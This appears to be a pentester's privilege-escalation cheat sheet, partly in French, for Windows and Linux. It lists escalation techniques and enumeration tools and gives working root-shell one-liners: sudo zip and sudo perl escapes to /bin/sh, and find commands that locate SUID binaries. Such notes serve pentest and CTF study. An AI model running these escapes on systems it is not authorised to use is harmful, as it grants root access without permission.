  DLL Injection
  Unattended Answer File
  Insecure File/Folder Permissions
  Insecure Service Permissions
  DLL Hijacking
  Group Policy Preferences
  Unquoted Service Path
  Always Install Elevated

tools :


  • Windows Exploit Suggester - Next Generation (WES-NG)
  • → python wes.py –update
  • → Only show vulnerabilities of a certain impact :Elevation of Privilege with exploit available excluding IE, Edge and Flash
  • → wes.py systeminfo.txt –exploits-only -i “Elevation of Privilege” –hide “Internet Explorer” Edge Flash
  • Metasploit Modules
  • → post/multi/recon/local_exploit_suggester - suggests local meterpreter exploits that can be used
  • → post/windows/gather/enum_patches - helps to identify any missing patches


Linux Privilege Escalation Guide

  Kernel exploits
  Programs running as root
  Installed software
  Weak/reused/plaintext passwords
  Inside service
  Suid misconfiguration
  Abusing sudo-rights
  World writable scripts invoked by root
  Bad path configuration
  Unmounted filesystems

Linux Privilege Escalation using SUID Binaries https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

Escalate to root using zip

  • TF=$(mktemp -u)
  • sudo zip $TF /etc/hosts -T -TT 'sh #'

commande utile :

si l'utilisateur non root en question peut par exemple executer perl en root

  sudo -l
  sudo /usr/bin/perl -e 'exec "/bin/sh"'

Linux Privilege Escalation By Using SUID https://medium.com/@gbmbalag/linux-privilege-escalation-by-using-suid-19d37821ed12

  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
  find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
  find / -uid 0 -perm -4000 -type f 2>/dev/null*

This script is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text passwords and applicable exploits. https://github.com/sleventyeleven/linuxprivchecker (Attention ce script ne marche pas avec python3)

auto exploit

A standalone python2/3 script which utilizes python's built-in modules to find SUID bins, separate default bins from custom bins, cross-match those with bins in GTFO Bin's repository & auto-exploit those, all with colors! https://github.com/Anon-Exploiter/SUID3NUM

Enumy is an ultra fast portable executable that you drop on target Linux machine during a pentest or CTF in the post exploitation phase. Running enumy will enumerate the box for common security vulnerabilities. https://github.com/luke-goddard/enumy
